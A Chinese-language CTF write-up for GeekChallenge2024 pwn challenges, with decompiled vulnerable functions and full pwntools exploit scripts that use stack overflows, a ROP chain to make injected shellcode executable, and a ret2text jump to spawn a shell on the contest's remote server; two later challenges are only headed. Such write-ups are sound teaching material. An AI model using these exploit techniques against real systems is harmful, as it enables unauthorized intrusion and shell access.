GeekChallenge2024_wp

GeekChallenge2024 write-up (复现)

pwn部分

ez_shellcode

查保护

no pie, no canary


64位小端 动态链接

逆向主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __fastcall main(int argc, const char **argv, const char **envp)
{
char name[8]; // [rsp+8h] [rbp-18h] BYREF
void *p; // [rsp+10h] [rbp-10h]
size_t len; // [rsp+18h] [rbp-8h] 申请的内存区域长度

init(argc, argv, envp); // 初始化缓冲区 3个都是 0 2 0 无缓冲模式
len = sysconf(30); // 系统物理内存的页数
p = mmap(0LL, len, 3, 34, -1, 0LL); // 申请内存
if ( p == (void *)-1LL )
{
perror("mmap");
return 1;
}
else
{
shellcode = p; // 指针 -> 申请的内存
puts("Hello!!!");
puts("do you know shellcode?");
memset(shellcode, 144, 0x1F4uLL); // 申请内存区域赋值
read(0, shellcode, 0x190uLL); // 申请内存区域读入
puts("please input your name:");
gets(name); // 向栈中读入数据 gets函数 可以栈溢出
return 0;
}
}

该代码本质上就是顺序执行了2次读入

  1. 程序在读入前先申请了一块内存,具有可读可写权限,在期间穿插puts输出提示信息
  2. 第一次读入申请的内存 可以写入shellcode
  3. 第二次读入栈 可以栈溢出

在程序中发现了gift()函数:

将申请内存的执行权限改为 仅可执行
该函数没有被引用过

根据这些程序信息:

  • 可以在内存区域写入
  • 可以将这个内存区域变为可执行
  • 可以栈溢出控制rip

那么现在pwn掉这个程序的思路:

  1. 在程序逻辑的执行过程中 向申请内存写入待执行的shellcode
  2. 构造rop链,执行gift()函数,修改该申请内存权限为 仅可执行
  3. 执行这段shellcode, pwn掉这个程序。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
from pwn import *
import os

exe = ELF("./shellcode")
context.binary = exe

if os.environ.get("ZELLIJ") == "0":
context.terminal = [
"zellij",
"action",
"new-pane",
"-d",
"right",
"-c",
"--",
"bash",
"-c",
]


def conn():
if args.LOCAL:
io = process([exe.path])
if args.GDB:
gdb.attach(io)
elif args.GDB:
io = gdb.debug([exe.path])
else:
io = remote("nc1.ctfplus.cn", 21417)
# nc nc1.ctfplus.cn 21417

return io


def dbg(cmd=""):
if args.LOCAL:
gdb.attach(io, cmd)
pause()


def main():
global io
io = conn()
shellcode = asm(shellcraft.sh())
io.sendlineafter(b"do you know shellcode?\n", shellcode)

offset = 0x18 + 8
gift = 0x401256
sc_addr = 0x7ffff7ffa000
ret = 0x401315
payload = b"A" * offset + p64(ret) + p64(gift) + p64(ret) + p64(sc_addr)

io.sendlineafter(b"please input your name:\n", payload)
io.interactive()

if __name__ == "__main__":
main()


简单的签到题


64位小端 no pie no canary

逆向:

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
welcome();
math1();
return 0;
}
1
2
3
4
5
6
7
8
int welcome()
{
puts("Welcome to the world of \"pwn\"!");
puts(
"Now you have to learn \"nc\" and \"pwntools\" to solve the following problems. If you are ready, press the Enter key"
" to start our challenge.");
return getchar();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int math1()
{
unsigned int seed; // eax
unsigned int num2; // [rsp+10h] [rbp-10h]
unsigned int num1; // [rsp+14h] [rbp-Ch]

seed = time(0LL);
srand(seed);
num1 = rand() % 10000 + 1;
num2 = rand() % 10000 + 1;
printf("%d * %d = ", num1, num2);
if ( (unsigned int)get_input_with_timeout() != num2 * num1 )
{
printf("Incorrect. The correct answer was %d. Exiting...\n", num2 * num1);
exit(1);
}
puts("Correct! Opening shell...");
return system("/bin/sh");
}

这个程序是先输入一些提示信息,然后让你快速算出两个随机数的和,算对即可给你shell
程序的核心是math1()函数和其中的get_input_with_timeout()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 get_input_with_timeout()
{
unsigned int num; // [rsp+Ch] [rbp-84h] BYREF
char s[128]; // [rsp+10h] [rbp-80h] BYREF 栈上的内存

signal(14, (__sighandler_t)handle_alarm); // 14(信号编号):alarm触发 handle_alarm:信号处理函数
alarm(3u); // 3秒定时器
if ( !fgets(s, 128, stdin) ) // 向栈中读入数据
{
puts("No input received. Exiting...");
exit(1); // 如果为输入 exit退出
}
if ( timed_out ) // 全局变量
{ // 一旦触发信号处理函数
puts("Time is up. Exiting...");
exit(1); // 如果超时,exit退出
}
if ( (unsigned int)__isoc99_sscanf(s, "%d", &num) == 1 )// 从s向buf读取十进制数字(一定要在3秒内走到这一步)
{ // 读取成功
alarm(0);
return num; // 返回读取的十进制数字
}
else
{
puts("Invalid input. Please enter a number.");// 无效输入
alarm(0);
return 0xFFFFFFFFLL; // 返回-1
}
}

void handle_alarm()
{
timed_out = 1;
}

程序用get_input_with_timeout()函数读取输入的乘法结果,
并用signal()alarm()函数对输入时间进行了限制
3秒内完成输入等步骤才可以正常返回,否则会返回错误的值使对比失败

三秒内完成计算等步骤即可

在脚本中接受数据,进行计算后发送 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3

from pwn import *
import os

exe = ELF("./main_patched")

context.binary = exe
context.log_level = "debug"

if os.environ.get("ZELLIJ") == "0":
context.terminal = [
"zellij",
"action",
"new-pane",
"-d",
"right",
"-c",
"--",
"bash",
"-c",
]


def conn():
if args.LOCAL:
io = process([exe.path])
if args.GDB:
gdb.attach(io)
elif args.GDB:
io = gdb.debug([exe.path])
else:
io = remote("nc1.ctfplus.cn", 41294)
# nc nc1.ctfplus.cn 41294
return io


def dbg(cmd=""):
if args.LOCAL:
gdb.attach(io, cmd)
pause()


def main():
global io
io = conn()
io.recvuntil(b"start our challenge.\n")
io.send(b"\n")
num1 = io.recvuntil(b" * ")[0:4]
num2 = io.recvuntil(b" =")[0:4]
num1 = int(num1)
num2 = int(num2)
res = num1 * num2
io.sendline(str(res))
io.interactive()

if __name__ == "__main__":
main()

000000


64位小端 pie canary


你会栈溢出吗


64位小端 no canary no pie

逆向:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int welcome()
{
char buf[12]; // [rsp+4h] [rbp-Ch] BYREF

puts("Welcome to geek,what's you name?");
gets(buf);
return printf("hello,%s\nDo you know key?", buf);
}

__int64 key()
{
printf("yes,yes,this is key.you can catch me?");
system("/bin/sh");
return 0LL;
}

签到题
有栈溢出 有后门函数
ret2text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3

from pwn import *
import os

exe = ELF("./stackover_patched")
context.binary = exe


if os.environ.get("ZELLIJ") == "0":
context.terminal = [
"zellij",
"action",
"new-pane",
"-d",
"right",
"-c",
"--",
"bash",
"-c",
]


def conn():
if args.LOCAL:
io = process([exe.path])
if args.GDB:
gdb.attach(io)
elif args.GDB:
io = gdb.debug([exe.path])
else:
io = remote("nc1.ctfplus.cn", 40906) # nc nc1.ctfplus.cn 40906

return io


def dbg(cmd=""):
if args.LOCAL:
gdb.attach(io, cmd)
pause()

def main():
global io
io = conn()
offset = 0xC + 8
key = 0x400728
res = 0x40074F
payload = b"A" * offset + p64(res) + p64(key)
io.sendlineafter(b"what's you name?\n", payload)
io.interactive()

if __name__ == "__main__":
main()

over_flow??


64位小端 有canary no pie


GeekChallenge2024_wp
http://example.com/2025/07/02/GeekChallenge2024-wp/
作者
yvyvSunlight
发布于
2025年7月2日
许可协议